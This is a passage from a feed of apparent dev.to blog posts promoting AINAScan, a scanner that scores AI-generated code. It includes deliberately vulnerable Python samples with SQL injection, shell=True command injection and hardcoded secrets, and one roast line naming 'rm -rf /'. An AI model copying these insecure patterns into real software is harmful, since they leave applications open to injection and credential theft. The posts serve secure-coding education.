&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;AINAScan result:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BLOCK: MISSING_WRITE  L8  →  create_user() has no DB write
       Function name implies persistence, no INSERT/save found
       Score deduction: -10 pts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The function looks complete. It takes a &lt;code&gt;UserCreate&lt;/code&gt; model, generates an ID, returns a response. But nothing was saved anywhere. The next request has no memory of this user.&lt;/p&gt;

&lt;p&gt;This is the defining vibe-coding bug: it &lt;em&gt;looks&lt;/em&gt; like it works because it returns a 200 with data. It only fails when you try to retrieve the user later.&lt;/p&gt;




&lt;h2&gt;
  
  
  Finding 4: Hardcoded Development Credentials
&lt;/h2&gt;

&lt;p&gt;Found across multiple tutorial snippets and community examples:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;DATABASE_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;postgresql://postgres:admin123@localhost/myapp&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;SECRET_KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;09d25e094faa6ca2556c818166b7a9563b93f7099f6f0f4caa6cf63b88e8d3e7&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;ALGORITHM&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HS256&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;AINAScan result:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BLOCK: HARDCODED_SECRET  L1,L2,L3
       Variables: DATABASE_URL, SECRET_KEY
       Score deduction: -22 pts (first), -13.2 pts (second)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The tutorial context is clear: these are examples. But &lt;code&gt;SECRET_KEY = "09d25e094..."&lt;/code&gt; from the FastAPI JWT tutorial is one of the most Googled strings in Python. It's in production codebases right now.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
&lt;span class="n"&gt;DATABASE_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;DATABASE_URL&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;SECRET_KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SECRET_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  The Score
&lt;/h2&gt;

&lt;p&gt;If I assembled these four patterns into a single file and scanned it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HARDCODED_SECRET (2x)   → -22 + -13.2 = -35.2
SQL_INJECTION_RISK       → -28.0
MISSING_WRITE            → -10.0
FAKE_ASYNC               →  -6.0

Starting score: 100
Final score:     20.8 → Grade D 😱
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;A D.&lt;/strong&gt; Built entirely from official tutorial copy-paste.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Happens
&lt;/h2&gt;

&lt;p&gt;FastAPI tutorials optimize for teaching concepts, not production safety. That's correct — teaching should minimize noise.&lt;/p&gt;

&lt;p&gt;The problem is the copy-paste gap. Between "this is for illustration" and "this code runs on my server" there's no friction. The tutorial doesn't stop you.&lt;/p&gt;

&lt;p&gt;Three things that would help:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Security comments in examples&lt;/strong&gt; — &lt;code&gt;# NEVER USE F-STRINGS HERE — use parameterized queries&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pre-commit hooks&lt;/strong&gt; — catch these before they hit main&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Automated scanning&lt;/strong&gt; — &lt;a href="https://pleasing-transformation-production-90c2.up.railway.app" rel="noopener noreferrer"&gt;AINAScan&lt;/a&gt; runs in under 3 seconds&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Try It
&lt;/h2&gt;

&lt;p&gt;Paste your FastAPI routes at &lt;a href="https://pleasing-transformation-production-90c2.up.railway.app" rel="noopener noreferrer"&gt;AINAScan&lt;/a&gt;. Free, no signup.&lt;/p&gt;

&lt;p&gt;Or curl it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://pleasing-transformation-production-90c2.up.railway.app/v1/scan &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'X-API-Key: vg_free_test'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s1"&gt;'file=@main.py'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What's your FastAPI app's score? Drop it in the comments.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;AINAScan: 48 patterns · 9 languages · &lt;a href="https://github.com/moonsehwan/aina-scan" rel="noopener noreferrer"&gt;github.com/moonsehwan/aina-scan&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>fastapi</category>
      <category>security</category>
      <category>python</category>
      <category>webdev</category>
    </item>
    <item>
      <title>I gave AI-generated code a score from 0–100. Most repos scored below 30.</title>
      <dc:creator>sehwan Moon</dc:creator>
      <pubDate>Tue, 23 Jun 2026 00:55:53 +0000</pubDate>
      <link>https://dev.to/ainascan/i-gave-ai-generated-code-a-score-from-0-100-most-repos-scored-below-30-12j5</link>
      <guid>https://dev.to/ainascan/i-gave-ai-generated-code-a-score-from-0-100-most-repos-scored-below-30-12j5</guid>
      <description>&lt;p&gt;What if your code got a grade — like a school report card — but brutally honest?&lt;/p&gt;

&lt;p&gt;I built exactly that. A scanner that reads your code and returns:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A score from &lt;strong&gt;0 to 100&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;A grade from &lt;strong&gt;S to F-&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;A message like: &lt;em&gt;"Your data is everyone's data now"&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;A per-vulnerability roast that hits different&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here's what happened when I ran it on real AI-generated repos.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Grade System
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Grade&lt;/th&gt;
&lt;th&gt;Score&lt;/th&gt;
&lt;th&gt;Character&lt;/th&gt;
&lt;th&gt;Vibe&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;S&lt;/td&gt;
&lt;td&gt;95–100&lt;/td&gt;
&lt;td&gt;🦄&lt;/td&gt;
&lt;td&gt;"Mythical. Frame this on your wall."&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A+&lt;/td&gt;
&lt;td&gt;88–94&lt;/td&gt;
&lt;td&gt;👑&lt;/td&gt;
&lt;td&gt;"Written by an actual human?"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;td&gt;78–87&lt;/td&gt;
&lt;td&gt;🚀&lt;/td&gt;
&lt;td&gt;"Pretty good. Room for polish."&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;B+&lt;/td&gt;
&lt;td&gt;65–77&lt;/td&gt;
&lt;td&gt;😎&lt;/td&gt;
&lt;td&gt;"Not bad. PR might get approved."&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;B&lt;/td&gt;
&lt;td&gt;50–64&lt;/td&gt;
&lt;td&gt;🤔&lt;/td&gt;
&lt;td&gt;"50/50. Could go either way."&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;C&lt;/td&gt;
&lt;td&gt;35–49&lt;/td&gt;
&lt;td&gt;😅&lt;/td&gt;
&lt;td&gt;"Deploy with prayer."&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;20–34&lt;/td&gt;
&lt;td&gt;😱&lt;/td&gt;
&lt;td&gt;"AI-generated, not reviewed."&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;F&lt;/td&gt;
&lt;td&gt;8–19&lt;/td&gt;
&lt;td&gt;🤖&lt;/td&gt;
&lt;td&gt;"AI slop, shipped raw."&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;F-&lt;/td&gt;
&lt;td&gt;0–7&lt;/td&gt;
&lt;td&gt;💣&lt;/td&gt;
&lt;td&gt;"Your data is everyone's data now."&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The score isn't random. Every vulnerability has a weighted deduction:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SQL_INJECTION_RISK    → -28 points
COMMAND_INJECTION     → -28 points
HARDCODED_SECRET      → -22 points
EVAL_EXEC_RISK        → -18 points
MISSING_WRITE         → -10 points  ← vibe coding special
STUB_SKELETON         →  -8 points  ← vibe coding special
FAKE_ASYNC            →  -6 points  ← vibe coding special
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Repeat the same bug type? The deduction shrinks (60%, 40%, 20%) — so one bad pattern can't unfairly bury your whole score.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Roasts Hit Different Per Vulnerability
&lt;/h2&gt;

&lt;p&gt;This is the part people screenshot and share.&lt;/p&gt;

&lt;h3&gt;
  
  
  💉 SQL_INJECTION_RISK
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"SELECT * FROM users WHERE hacker=1 — already queued"&lt;/em&gt;&lt;br&gt;
&lt;em&gt;"Free DB access for the world, courtesy of you"&lt;/em&gt;&lt;br&gt;
&lt;em&gt;"Your DB is readable by everyone. congrats"&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  🔑 HARDCODED_SECRET
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Bots harvest GitHub secrets in under 5 seconds"&lt;/em&gt;&lt;br&gt;
&lt;em&gt;"It's in your code. Not a secret anymore."&lt;/em&gt;&lt;br&gt;
&lt;em&gt;"Someone may already be using it"&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  💾 MISSING_WRITE (the vibe coding classic)
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"save() without INSERT. Peak AI slop"&lt;/em&gt;&lt;br&gt;
&lt;em&gt;"save() that saves nothing — plot twist"&lt;/em&gt;&lt;br&gt;
&lt;em&gt;"AI forgot to implement the implementation"&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  ⏳ FAKE_ASYNC
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"async with no await. Event loop is crying"&lt;/em&gt;&lt;br&gt;
&lt;em&gt;"async keyword as decoration, not function"&lt;/em&gt;&lt;br&gt;
&lt;em&gt;"Synchronous code in async clothing"&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  🏗️ STUB_SKELETON
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"return {} — AI gave up mid-implementation"&lt;/em&gt;&lt;br&gt;
&lt;em&gt;"All skeleton, no muscle. Decorative code"&lt;/em&gt;&lt;br&gt;
&lt;em&gt;"This function is an elaborate nothing"&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  🖥️ COMMAND_INJECTION
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Free server root access — thanks to you"&lt;/em&gt;&lt;br&gt;
&lt;em&gt;"rm -rf / is one payload away"&lt;/em&gt;&lt;br&gt;
&lt;em&gt;"More dangerous than handing out your SSH key"&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Real Test: What Score Does This Get?
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sqlite3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;

&lt;span class="n"&gt;API_KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sk-prod-abc123&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;  &lt;span class="c1"&gt;# whoops
&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_user&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;db&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sqlite3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;users.db&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT * FROM users WHERE id = &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;fetchall&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;run_backup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tar -czf backup.tar.gz &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;notify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://service/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;save_profile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;saved&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;  &lt;span class="c1"&gt;# ← saves nothing
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I ran this through AINAScan. Here's the breakdown:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BLOCK: HARDCODED_SECRET     L3   → -22 pts
BLOCK: SQL_INJECTION_RISK   L7   → -28 pts
BLOCK: COMMAND_INJECTION    L11  → -28 pts
BLOCK: MISSING_WRITE        L15  → -10 pts
WARN:  FAKE_ASYNC           L13  → -6 pts

Final score: 6 / 100
Grade: F- 💣
Message: "Your data is everyone's data now"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;6 out of 100.&lt;/strong&gt; One typo away from a security incident.&lt;/p&gt;

&lt;p&gt;The brutal irony? This exact pattern shows up in real vibe-coded repos. Someone asked ChatGPT to "write a user profile API." It generated this — SQL injection, hardcoded keys, and a &lt;code&gt;save_profile()&lt;/code&gt; that saves nothing. The AI was cosplaying a backend.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why a Score Works Better Than a Bug List
&lt;/h2&gt;

&lt;p&gt;Most security scanners dump a wall of issues. Nobody reads them.&lt;/p&gt;

&lt;p&gt;A single number changes that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;"Our codebase is a 73"&lt;/strong&gt; → actual team conversation&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"We dropped from 81 to 64 after last sprint"&lt;/strong&gt; → real accountability&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"This PR dropped the score 12 points"&lt;/strong&gt; → concrete code review anchor&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Plus: same file always gets the same score (SHA-256 dedup). Fix a bug, rescan, watch the number move. That feedback loop is addictive in a good way.&lt;/p&gt;




&lt;h2&gt;
  
  
  The 3 Vibe-Coding Bugs That Destroy Scores Most
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. FAKE_ASYNC (-6 pts each)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# ChatGPT's idea of "async"
&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;process_items&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;items&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;item&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;items&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;expensive_sync_operation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;item&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;  &lt;span class="c1"&gt;# blocks everything
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;results&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;async&lt;/code&gt; keyword does nothing without &lt;code&gt;await&lt;/code&gt;. You're blocking the event loop. This is the #1 pattern AI generates when asked to "make it async."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Either add &lt;code&gt;await asyncio.to_thread(expensive_sync_operation, item)&lt;/code&gt; or remove &lt;code&gt;async&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. MISSING_WRITE (-10 pts each)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# AI's idea of "saving"
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;save_order&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;order_data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;order_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;generate_id&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;saved&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;order_id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;order_id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="c1"&gt;# ↑ WHERE IS THE INSERT
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No SQL. No file write. No cache set. The function exists, has a name that implies persistence, and does nothing persistent. This happens when AI generates the contract before the implementation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Actually write to something. &lt;code&gt;db.execute("INSERT INTO orders ...", (...))&lt;/code&gt; would be a start.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. STUB_SKELETON (-8 pts each)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# AI's "implementation" of complex logic
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;calculate_risk_score&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;portfolio&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# Calculate user risk score based on portfolio
&lt;/span&gt;    &lt;span class="c1"&gt;# TODO: implement
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Returns a dict typed as float. AI generated the signature and docstring, then gave up on the actual logic. Ships anyway.&lt;/p&gt;




&lt;h2&gt;
  
  
  How It Actually Works (The Technical Part)
&lt;/h2&gt;

&lt;p&gt;Three layers, none of them are regex:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 1 — Taint tracking across 9 languages&lt;/strong&gt;&lt;br&gt;
Builds a set of tainted variables from sources (&lt;code&gt;request.args&lt;/code&gt;, &lt;code&gt;sys.argv&lt;/code&gt;, form inputs). Tracks them through assignments. Checks if any reach dangerous sinks (&lt;code&gt;execute()&lt;/code&gt;, &lt;code&gt;subprocess.run()&lt;/code&gt;, &lt;code&gt;eval()&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 2 — AST structural analysis&lt;/strong&gt;&lt;br&gt;
Detects vibe-coding patterns: functions named &lt;code&gt;save*&lt;/code&gt; with no write operations, &lt;code&gt;async def&lt;/code&gt; with no &lt;code&gt;await&lt;/code&gt;, functions where parameters never influence the return value (using def-use graphs).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 3 — Causal impact scoring&lt;/strong&gt;&lt;br&gt;
Cross-references findings with a knowledge graph (133K+ causal chains) to estimate real-world impact. SQL injection → data exfiltration has a 0.94 probability in the graph. That's why it costs 28 points.&lt;/p&gt;

&lt;p&gt;Supports: Python, JavaScript, TypeScript, Go, Ruby, Java, Kotlin, PHP, C/C++&lt;/p&gt;


&lt;h2&gt;
  
  
  Try It
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;👉 Paste your code at &lt;a href="https://pleasing-transformation-production-90c2.up.railway.app" rel="noopener noreferrer"&gt;AINAScan&lt;/a&gt; — get your score in seconds&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Or curl it directly (free test key, no signup):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://pleasing-transformation-production-90c2.up.railway.app/v1/scan &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'X-API-Key: vg_free_test'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
